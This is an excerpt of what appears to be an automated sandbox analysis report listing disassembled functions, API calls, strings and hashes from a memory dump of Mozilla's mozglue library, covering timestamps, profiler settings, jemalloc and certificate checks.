Opcode ID: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction ID: 56837bceb348e7a6386c132f6025b0974f4aa5518db87f6b57905618f2cf7307
Opcode Fuzzy Hash: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction Fuzzy Hash: C7B1A175B063209FDB08DF29CC45A1A7BF5BB8F700F169A2DE899D3750D770A9008B99

Function 6C51C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C51C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C51C969
GetSystemInfo.KERNEL32(?), ref: 6C51C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C51C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C51C9E2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction ID: 76f1251c72432eb71f02ca72949187eda325e35ed3e6aa269d1311ca5bf18be3
Opcode Fuzzy Hash: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction Fuzzy Hash: 85212F31706224ABEB04BA64CC88BAE73B9AB87700F511529F90797F40E7717C04C794

Function 6C503060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C503095

Part of subcall function 6C5035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
Part of subcall function 6C5035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
Part of subcall function 6C5035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
Part of subcall function 6C5035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
Part of subcall function 6C5035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
Part of subcall function 6C5035A0: __aulldiv.LIBCMT ref: 6C5036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50309F

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5030BE

Part of subcall function 6C5030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C503127
Part of subcall function 6C5030F0: __aulldiv.LIBCMT ref: 6C503140

Part of subcall function 6C53AB2A: __onexit.LIBCMT ref: 6C53AB30

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction ID: ec365c589e8acac7d9e720e375889227bf57a621577fbc23d3694d8014ea9164
Opcode Fuzzy Hash: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction Fuzzy Hash: EDF02D32E21B54D7CB10DF758C416E67370AFAF214F523719E84957561FB2066D883CA

Non-executed Functions

Function 6C515440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C515492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5154A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5154BE
__Init_thread_footer.LIBCMT ref: 6C5154DB

Part of subcall function 6C53AB3F: EnterCriticalSection.KERNEL32(6C58E370,?,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284), ref: 6C53AB49
Part of subcall function 6C53AB3F: LeaveCriticalSection.KERNEL32(6C58E370,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53AB7C

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5154F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C515516
GetCurrentThreadId.KERNEL32 ref: 6C51556A
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C515577
moz_xmalloc.MOZGLUE(00000070), ref: 6C515585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C515590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5155E6
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C515606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C515616

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

GetCurrentThreadId.KERNEL32 ref: 6C51563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C515646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C51567C
free.MOZGLUE(?), ref: 6C5156AE

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5156E8
GetCurrentThreadId.KERNEL32 ref: 6C515707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C51570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C515729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C51574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C51576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C515796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5157B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5157CA

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5157C5
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C515C56
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C515717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5157AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C51548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C515AC9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C515D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C515511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C515724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C515B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C51584E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5154A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5154B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C515CF9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C515BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C515766
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C515749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C515791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C515D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C515D2B
MOZ_PROFILER_STARTUP, xrefs: 6C5155E1
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5156E3
GeckoMain, xrefs: 6C515554, 6C5155D5
[I %d/%d] profiler_init, xrefs: 6C51564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C515D01

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: f8e97be285cee94c126ef65ba9f2712d563968d337bddf5d432615059e9c6066
Instruction ID: 61012a60fb22191b019ae1dac1f81ec25c901c8111860dd658c050964a7f361b
Opcode Fuzzy Hash: f8e97be285cee94c126ef65ba9f2712d563968d337bddf5d432615059e9c6066
Instruction Fuzzy Hash: B6221470A09320DFFB00AF74CC4965A77B4EF87348F954A2AE84697E41EB349948CB57

Function 6C54B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54B845
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000), ref: 6C54B852
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54B884
InitializeConditionVariable.KERNEL32(?), ref: 6C54B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C54B9FD
GetCurrentThreadId.KERNEL32 ref: 6C54BA05
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000), ref: 6C54BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C54BA27
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54BA4B
free.MOZGLUE(?), ref: 6C54C9C7
free.MOZGLUE(?), ref: 6C54C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C54C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C54C7DA

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 467fdffbce998c98606e2faa513bfdf478c442b5c1aab1cda0fc465b8292b62b
Instruction ID: db94d0338198fa5a91f3e113512c52adf0cbb78688a9cbb31a645d61fc8f6eb1
Opcode Fuzzy Hash: 467fdffbce998c98606e2faa513bfdf478c442b5c1aab1cda0fc465b8292b62b
Instruction Fuzzy Hash: 63A2B071A087908FC725DF28C88079FB7E5BFC9314F458A2DE89997750DB70A909CB82

Function 6C516C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C516CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C516D26

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C516D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C516D73
free.MOZGLUE(00000000), ref: 6C516D80
CertGetNameStringW.CRYPT32 ref: 6C516DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C516DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C516DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C516E10
CryptMsgClose.CRYPT32(00000000), ref: 6C516E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C516E34
CreateFileW.KERNEL32 ref: 6C516EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C516F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C51709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C517103
free.MOZGLUE(00000000), ref: 6C517153
CloseHandle.KERNEL32(?), ref: 6C517176
__Init_thread_footer.LIBCMT ref: 6C517209
__Init_thread_footer.LIBCMT ref: 6C51723A
__Init_thread_footer.LIBCMT ref: 6C51726B
__Init_thread_footer.LIBCMT ref: 6C51729C
__Init_thread_footer.LIBCMT ref: 6C5172DC
__Init_thread_footer.LIBCMT ref: 6C51730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5173C2
VerSetConditionMask.NTDLL ref: 6C5173F3
VerSetConditionMask.NTDLL ref: 6C5173FF
VerSetConditionMask.NTDLL ref: 6C517406
VerSetConditionMask.NTDLL ref: 6C51740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C51741A
moz_xmalloc.MOZGLUE(?), ref: 6C51755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C517568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C517585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C517598
free.MOZGLUE(00000000), ref: 6C5175AC

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

wintrust.dll, xrefs: 6C5172CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5172C8
SHA256, xrefs: 6C516EC0
(, xrefs: 6C51768A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction ID: 29b9143845e1026bb3015a5c0a9b3b4962b574e8f33d15277e67a7b83d790606
Opcode Fuzzy Hash: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction Fuzzy Hash: CB52D671A05324DBFB21DF24CC88BAA77BCEB8A304F115599E90997A40DB70AF85CF51

Function 6C536FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C537019
LeaveCriticalSection.KERNEL32(6C58E7DC), ref: 6C537061
EnterCriticalSection.KERNEL32(?), ref: 6C5371A4
LeaveCriticalSection.KERNEL32(?), ref: 6C53721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C53723E
EnterCriticalSection.KERNEL32(?), ref: 6C53726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5372B2
LeaveCriticalSection.KERNEL32(?), ref: 6C53733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5373E8
LeaveCriticalSection.KERNEL32(?), ref: 6C53961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C539622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C539642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5396CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5396DB
AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C539747
GetSystemInfo.KERNEL32(?), ref: 6C539792
__Init_thread_footer.LIBCMT ref: 6C5397A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C5397CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C539838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C53984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C539874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C539895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5399BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5399D2
<jemalloc>, xrefs: 6C539B33, 6C539BE3
Compile-time page size does not divide the runtime one., xrefs: 6C539B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C539993
MALLOC_OPTIONS, xrefs: 6C5397CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5399A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C539BF4
MOZ_CRASH(), xrefs: 6C539B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C539933, 6C539A33, 6C539A4E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: f95202ed6b6a4009c993f207c1a37c4fab20c2bb721104282ca7c8b46c312433
Instruction ID: d6a3b9177f5433baa989cb98406f0edbf02a0190173efda9e8fcb8d10f6b272f
Opcode Fuzzy Hash: f95202ed6b6a4009c993f207c1a37c4fab20c2bb721104282ca7c8b46c312433
Instruction Fuzzy Hash: B95350B1A05721CFD704CF28C980615BBE1BF86328F29D66DE869DB791E771E841CB81

Function 6C540DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C540F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C540F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C540FB7
EnterCriticalSection.KERNEL32(?), ref: 6C540FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C541031
LeaveCriticalSection.KERNEL32(?), ref: 6C5410D0
EnterCriticalSection.KERNEL32(?), ref: 6C54117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C541C39
EnterCriticalSection.KERNEL32(6C58E744), ref: 6C543391
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C5433CD
LeaveCriticalSection.KERNEL32(?), ref: 6C543431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C543437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5437BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5437D2
<jemalloc>, xrefs: 6C543941, 6C5439F1
Compile-time page size does not divide the runtime one., xrefs: 6C543946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C543793
MALLOC_OPTIONS, xrefs: 6C5435FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5437A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C543A02
MOZ_CRASH(), xrefs: 6C543950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C543559, 6C54382D, 6C543848

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 8211b541b9d9fca23d071a00b58d3d81e22097efa1930f6938ea63c5f87a500b
Instruction ID: ae81f0b036153f073efba34e6fb3144c5ef50bc45058dcfa291160c4087d8e44
Opcode Fuzzy Hash: 8211b541b9d9fca23d071a00b58d3d81e22097efa1930f6938ea63c5f87a500b
Instruction Fuzzy Hash: 6E53AC72A057118FD704CF28C940616FBE1BF8A328F29C66DE869DB7A1D771E851CB81

Function 6C5655F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C53E1A5), ref: 6C565606
LoadLibraryW.KERNEL32(gdi32,?,6C53E1A5), ref: 6C56560F
